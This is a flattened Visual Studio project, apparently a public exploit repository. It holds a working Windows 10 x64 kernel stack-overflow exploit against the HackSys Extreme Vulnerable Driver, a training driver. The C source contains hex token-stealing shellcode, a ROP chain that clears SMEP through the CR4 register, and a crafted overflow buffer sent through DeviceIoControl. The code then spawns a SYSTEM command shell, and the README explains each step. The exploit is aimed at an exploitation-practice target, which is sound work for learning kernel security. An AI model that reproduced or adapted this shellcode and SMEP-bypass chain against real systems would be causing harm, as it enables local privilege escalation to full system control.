├── HS-StackOverflowX64.sln ├── HS-StackOverflowX64 ├── HS-StackOverflowX64.c ├── HS-StackOverflowX64.h ├── HS-StackOverflowX64.vcxproj └── HS-StackOverflowX64.vcxproj.filters └── README.md /HS-StackOverflowX64.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Express 14 for Windows Desktop 4 | VisualStudioVersion = 14.0.24720.0 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HS-StackOverflowX64", "HS-StackOverflowX64\HS-StackOverflowX64.vcxproj", "{72EF9908-AD06-409A-9212-C8B41700DCE9}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Release|x64 = Release|x64 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {72EF9908-AD06-409A-9212-C8B41700DCE9}.Debug|x64.ActiveCfg = Debug|x64 15 | {72EF9908-AD06-409A-9212-C8B41700DCE9}.Debug|x64.Build.0 = Debug|x64 16 | {72EF9908-AD06-409A-9212-C8B41700DCE9}.Release|x64.ActiveCfg = Release|x64 17 | {72EF9908-AD06-409A-9212-C8B41700DCE9}.Release|x64.Build.0 = Release|x64 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /HS-StackOverflowX64/HS-StackOverflowX64.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "HS-StackOverflowX64.h" 5 | 6 | 7 | PUCHAR GetKernelBase() 8 | { 9 | DWORD len; 10 | PSYSTEM_MODULE_INFORMATION ModuleInfo; 11 | PUCHAR kernelBase = NULL; 12 | 13 | _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation) 14 | GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation"); 15 | if (NtQuerySystemInformation == NULL) { 16 | return NULL; 17 | } 18 | 19 | NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); 20 | ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 21 | if (!ModuleInfo) 22 | { 23 | return NULL; 24 | } 25 | 26 | NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len); 27 | 28 | kernelBase = ModuleInfo->Module[0].ImageBase; 29 | VirtualFree(ModuleInfo, 0, MEM_RELEASE); 30 | 31 | return kernelBase; 32 | } 33 | 34 | BOOL IsSystem(VOID) 35 | { 36 | DWORD dwSize = 0, dwResult = 0; 37 | HANDLE hToken = NULL; 38 | PTOKEN_USER Ptoken_User; 39 | LPWSTR SID = NULL; 40 | 41 | // Open a handle to the access token for the calling process. 42 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { 43 | return FALSE; 44 | } 45 | 46 | // Call GetTokenInformation to get the buffer size. 47 | if (!GetTokenInformation(hToken, TokenUser, NULL, dwSize, &dwSize)) { 48 | dwResult = GetLastError(); 49 | if (dwResult != ERROR_INSUFFICIENT_BUFFER) { 50 | return FALSE; 51 | } 52 | } 53 | 54 | // Allocate the buffer. 55 | Ptoken_User = (PTOKEN_USER)GlobalAlloc(GPTR, dwSize); 56 | 57 | // Call GetTokenInformation again to get the group information. 58 | if (!GetTokenInformation(hToken, TokenUser, Ptoken_User, dwSize, &dwSize)) { 59 | return FALSE; 60 | } 61 | if (!ConvertSidToStringSidW(Ptoken_User->User.Sid, &SID)) { 62 | return FALSE; 63 | } 64 | 65 | if (_wcsicmp(L"S-1-5-18", SID) != 0) { 66 | return FALSE; 67 | } 68 | if (Ptoken_User) GlobalFree(Ptoken_User); 69 | 70 | return TRUE; 71 | } 72 | 73 | 74 | void PopShell() 75 | { 76 | STARTUPINFO si = { sizeof(STARTUPINFO) }; 77 | PROCESS_INFORMATION pi; 78 | 79 | ZeroMemory(&si, sizeof(si)); 80 | si.cb = sizeof(si); 81 | ZeroMemory(&pi, sizeof(pi)); 82 | 83 | CreateProcess(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); 84 | 85 | } 86 | 87 | 88 | int wmain(int argc, wchar_t* argv[]) 89 | { 90 | OSVERSIONINFOEXW osInfo; 91 | TCHAR chOSMajorMinor[8]; 92 | LPVOID lpvPayload; 93 | HANDLE hDevice; 94 | LPCWSTR lpDeviceName = L"\\\\.\\HacksysExtremeVulnerableDriver"; 95 | BOOL bResult = FALSE; 96 | PUCHAR pKernelBase = NULL; 97 | ROP DisableSMEP, EnableSMEP; 98 | 99 | CHAR ShellCode[] = 100 | "\x65\x48\x8B\x14\x25\x88\x01\x00\x00" // mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR 101 | "\x4C\x8B\x82\xB8\x00\x00\x00" // mov r8, [rdx + b8h] ; _EPROCESS (kd> u PsGetCurrentProcess) 102 | "\x4D\x8B\x88\xe8\x02\x00\x00" // mov r9, [r8 + 2e8h] ; ActiveProcessLinks list head 103 | "\x49\x8B\x09" // mov rcx, [r9] ; Follow link to first process in list 104 | //find_system_proc: 105 | "\x48\x8B\x51\xF8" // mov rdx, [rcx - 8] ; Offset from ActiveProcessLinks to UniqueProcessId 106 | "\x48\x83\xFA\x04" // cmp rdx, 4 ; Process with ID 4 is System process 107 | "\x74\x05" // jz found_system ; Found SYSTEM token 108 | "\x48\x8B\x09" // mov rcx, [rcx] ; Follow _LIST_ENTRY Flink pointer 109 | "\xEB\xF1" // jmp find_system_proc ; Loop 110 | //found_system: 111 | "\x48\x8B\x41\x70" // mov rax, [rcx + 70h] ; Offset from ActiveProcessLinks to Token 112 | "\x24\xF0" // and al, 0f0h ; Clear low 4 bits of _EX_FAST_REF structure 113 | "\x49\x89\x80\x58\x03\x00\x00" // mov [r8 + 358h], rax ; Copy SYSTEM token to current process's token 114 | //recover: 115 | "\x48\x83\xc4\x18" // add rsp, 18h ; Set Stack Pointer to SMEP enable ROP chain 116 | "\x48\x31\xF6" // xor rsi, rsi ; Zeroing out rsi register to avoid Crash 117 | "\x48\x31\xFF" // xor rdi, rdi ; Zeroing out rdi register to avoid Crash 118 | "\x48\x31\xC0" // xor rax, rax ; NTSTATUS Status = STATUS_SUCCESS 119 | "\xc3" // ret ; Enable SMEP and Return to IrpDeviceIoCtlHandler+0xe2 120 | ; 121 | 122 | wprintf(L" __ __ __ ____ \n"); 123 | wprintf(L" / // /__ _____/ /__ / __/_ _____ \n"); 124 | wprintf(L" / _ / _ `/ __/ '_/_\\ \\/ // (_-< \n"); 125 | wprintf(L" /_//_/\\_,_/\\__/_/\\_\\/___/\\_, /___/ \n"); 126 | wprintf(L" /___/ \n"); 127 | wprintf(L" \n"); 128 | wprintf(L" Extreme Vulnerable Driver \n"); 129 | wprintf(L" Stack Overflow Windows 10 x64 \n\n"); 130 | 131 | // Get OS Version/Architecture 132 | osInfo.dwOSVersionInfoSize = sizeof(osInfo); 133 | 134 | _RtlGetVersion RtlGetVersion = (_RtlGetVersion) 135 | GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlGetVersion"); 136 | if (RtlGetVersion == NULL) { 137 | wprintf(L" -> Unable to get Module handle!\n\n"); 138 | exit(1); 139 | } 140 | 141 | RtlGetVersion(&osInfo); 142 | 143 | swprintf_s(chOSMajorMinor, sizeof(chOSMajorMinor), L"%u.%u", osInfo.dwMajorVersion, osInfo.dwMinorVersion); 144 | 145 | if (_wcsicmp(chOSMajorMinor, L"10.0") == 0 && sizeof(LPVOID) == 8) { 146 | wprintf(L" [*] Exploit running on Windows Version: 10 or Server 2016 x64 build %u \n\n", osInfo.dwBuildNumber); 147 | } 148 | else { 149 | wprintf(L" [!] This exploit has only been tested on Windows 10 x64 build 1709 (RS3)\n\n"); 150 | exit(1); 151 | } 152 | 153 | wprintf(L" [*] Allocating Ring0 Payload"); 154 | 155 | lpvPayload = VirtualAlloc( 156 | NULL, // Next page to commit 157 | sizeof(ShellCode), // Page size, in bytes 158 | MEM_COMMIT | MEM_RESERVE, // Allocate a committed page 159 | PAGE_EXECUTE_READWRITE); // Read/write access 160 | if (lpvPayload == NULL) 161 | { 162 | wprintf(L" -> Unable to reserve Memory!\n\n"); 163 | exit(1); 164 | } 165 | 166 | wprintf(L" -> Done!\n"); 167 | 168 | memcpy(lpvPayload, ShellCode, sizeof(ShellCode)); 169 | 170 | wprintf(L" [+] Ring0 Payload available at: 0x%p \n", lpvPayload); 171 | wprintf(L"\n [*] Trying to get a handle to the following Driver: %ls", lpDeviceName); 172 | 173 | hDevice = CreateFile(lpDeviceName, // Name of the write 174 | GENERIC_READ | GENERIC_WRITE, // Open for reading/writing 175 | FILE_SHARE_WRITE, // Allow Share 176 | NULL, // Default security 177 | OPEN_EXISTING, // Opens a file or device, only if it exists. 178 | FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, // Normal file 179 | NULL); // No attr. template 180 | 181 | if (hDevice == INVALID_HANDLE_VALUE) 182 | { 183 | wprintf(L" -> Unable to get Driver handle!\n\n"); 184 | exit(1); 185 | } 186 | 187 | wprintf(L" -> Done!\n"); 188 | wprintf(L" [+] Our Device Handle: 0x%p \n\n", hDevice); 189 | 190 | wprintf(L" [*] Preparing SMEP Bypass ROP Chain"); 191 | 192 | pKernelBase = GetKernelBase(); 193 | DisableSMEP.PopRcxRet = pKernelBase + 0xb1e2a; 194 | DisableSMEP.Cr4RegValue = (PUCHAR)0x70678; 195 | DisableSMEP.MovCr4EcxRet = pKernelBase + 0x424065; 196 | 197 | EnableSMEP.PopRcxRet = pKernelBase + 0xb1e2a; 198 | EnableSMEP.Cr4RegValue = (PUCHAR)0x170678; 199 | EnableSMEP.MovCr4EcxRet = pKernelBase + 0x424065; 200 | 201 | CHAR *chBuffer; 202 | chBuffer = (CHAR *)malloc(2152); 203 | SecureZeroMemory(chBuffer, 2152); 204 | memset(chBuffer, 0x41, 2152); 205 | memcpy(chBuffer + 2072, &DisableSMEP, sizeof(ROP)); 206 | memcpy(chBuffer + 2096, &lpvPayload, sizeof(LPVOID)); 207 | memcpy(chBuffer + 2128, &EnableSMEP, sizeof(ROP)); 208 | 209 | wprintf(L" -> Done!\n"); 210 | wprintf(L" [+] Kernel Base Address is at: 0x%p \n", pKernelBase); 211 | wprintf(L" [+] pop rcx ; ret -> Gadget available at: 0x%p \n", DisableSMEP.PopRcxRet); 212 | wprintf(L" [+] New value of CR4 register: 0x%p \n", DisableSMEP.Cr4RegValue); 213 | wprintf(L" [+] mov cr4, ecx ; ret -> Gadget available at: 0x%p \n\n", DisableSMEP.MovCr4EcxRet); 214 | 215 | wprintf(L" [*] Lets send some Bytes to our Driver, bypass SMEP and execute our Usermode Shellcode"); 216 | 217 | DWORD junk = 0; // Discard results 218 | 219 | bResult = DeviceIoControl(hDevice, // Device to be queried 220 | 0x222003, // Operation to perform 221 | chBuffer, 2152, // Input Buffer 222 | NULL, 0, // Output Buffer 223 | &junk, // # Bytes returned 224 | (LPOVERLAPPED)NULL); // Synchronous I/O 225 | if (!bResult) { 226 | wprintf(L" -> Failed to send Data!\n\n"); 227 | CloseHandle(hDevice); 228 | exit(1); 229 | } 230 | 231 | wprintf(L" -> Done!\n\n"); 232 | 233 | BOOL isGodMode = IsSystem(); 234 | if (!isGodMode) { 235 | wprintf(L" [!] Exploit Failed :( \n\n"); 236 | CloseHandle(hDevice); 237 | exit(1); 238 | } 239 | 240 | PopShell(); 241 | wprintf(L" [!] Enjoy your Shell and Thank You for Flying Ring0 Airways ;) \n\n"); 242 | 243 | CloseHandle(hDevice); 244 | 245 | return (0); 246 | 247 | } 248 | -------------------------------------------------------------------------------- /HS-StackOverflowX64/HS-StackOverflowX64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | typedef enum _SYSTEM_INFORMATION_CLASS { 6 | SystemBasicInformation = 0, 7 | SystemPerformanceInformation = 2, 8 | SystemTimeOfDayInformation = 3, 9 | SystemProcessInformation = 5, 10 | SystemProcessorPerformanceInformation = 8, 11 | SystemModuleInformation = 11, 12 | SystemInterruptInformation = 23, 13 | SystemExceptionInformation = 33, 14 | SystemRegistryQuotaInformation = 37, 15 | SystemLookasideInformation = 45 16 | } SYSTEM_INFORMATION_CLASS; 17 | 18 | typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { 19 | HANDLE Section; 20 | PVOID MappedBase; 21 | PVOID ImageBase; 22 | ULONG ImageSize; 23 | ULONG Flags; 24 | USHORT LoadOrderIndex; 25 | USHORT InitOrderIndex; 26 | USHORT LoadCount; 27 | USHORT OffsetToFileName; 28 | UCHAR FullPathName[256]; 29 | } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; 30 | 31 | typedef struct _SYSTEM_MODULE_INFORMATION { 32 | ULONG NumberOfModules; 33 | SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; 34 | } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; 35 | 36 | typedef struct _ROP { 37 | PUCHAR PopRcxRet; 38 | PUCHAR Cr4RegValue; 39 | PUCHAR MovCr4EcxRet; 40 | } ROP, *PROP; 41 | 42 | typedef NTSTATUS(NTAPI *_NtQuerySystemInformation)( 43 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 44 | PVOID SystemInformation, 45 | ULONG SystemInformationLength, 46 | PULONG ReturnLength 47 | ); 48 | 49 | typedef NTSTATUS(NTAPI *_RtlGetVersion)( 50 | LPOSVERSIONINFOEXW lpVersionInformation 51 | ); -------------------------------------------------------------------------------- /HS-StackOverflowX64/HS-StackOverflowX64.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {72EF9908-AD06-409A-9212-C8B41700DCE9} 23 | HSStackOverflowX64 24 | 8.1 25 | 26 | 27 | 28 | Application 29 | true 30 | v140 31 | MultiByte 32 | 33 | 34 | Application 35 | false 36 | v140 37 | true 38 | MultiByte 39 | 40 | 41 | Application 42 | true 43 | v140 44 | Unicode 45 | 46 | 47 | Application 48 | false 49 | v140 50 | true 51 | Unicode 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | Level3 75 | Disabled 76 | true 77 | 78 | 79 | 80 | 81 | Level3 82 | Disabled 83 | true 84 | MultiThreaded 85 | 86 | 87 | 88 | 89 | Level3 90 | MaxSpeed 91 | true 92 | true 93 | true 94 | 95 | 96 | true 97 | true 98 | 99 | 100 | 101 | 102 | Level3 103 | MaxSpeed 104 | true 105 | true 106 | true 107 | MultiThreaded 108 | 109 | 110 | true 111 | true 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | -------------------------------------------------------------------------------- /HS-StackOverflowX64/HS-StackOverflowX64.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Header Files 25 | 26 | 27 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | __ __ __ _____ 3 | / / / /___ ______/ /__/ ___/__ _______ 4 | / /_/ / __ `/ ___/ //_/\__ \/ / / / ___/ 5 | / __ / /_/ / /__/ ,< ___/ / /_/ (__ ) 6 | /_/ /_/\__,_/\___/_/|_|/____/\__, /____/ 7 | /____/ 8 | Extreme Vulnerable Driver 9 | Exploits 10 | ``` 11 | 12 | ### HackSys Extreme Vulnerable Driver - Windows 10 x64 StackOverflow Exploit with SMEP Bypass 13 | 14 | Classic StackOverflow exploit, which exploits a vulnerable function within the HEVD Kernel driver. 15 | 16 | # How does this exploit work: 17 | 18 | * 64 Bit version of the https://github.com/Cn33liz/HSEVD-StackOverflow exploit 19 | * Works almost the same, but in order to work on Windows 10 x64 we need to Bypass SMEP Kernel protections, which prevents us from jumping to our 64 bit usermode Shellcode. 20 | * In order to Bypass SMEP after controlling rip, we need to execute a SMEP bypass ROP chain on the stack (rsp = rip) which changes the value of the cr4 register and then jumps to our usermode Shellcode. 21 | * After running our x64 token stealing shellcode, we restore some registers, jump back to a SMEP enable ROP chain on the stack and return to IrpDeviceIoCtlHandler+0xe2 22 | 23 | 24 | Runs on: 25 | 26 | ``` 27 | This exploits has been tested succesfully on Windows 10 x64 v1709 (Version 10.0.16299.192). 28 | ``` 29 | 30 | Compile Exploit: 31 | 32 | ``` 33 | This project is written in C and can be compiled within Visual Studio. 34 | ``` 35 | 36 | Load Vulnerable Driver: 37 | 38 | ``` 39 | The HEVD driver can be downloaded from the HackSys Team Github page and loaded with the OSR Driver loader utility. 40 | To run on x64, you need to install the Windows Driver Kit (WDK), Windows SDK and recompile with Visual Studio. 41 | ``` 42 | 43 | --------------------------------------------------------------------------------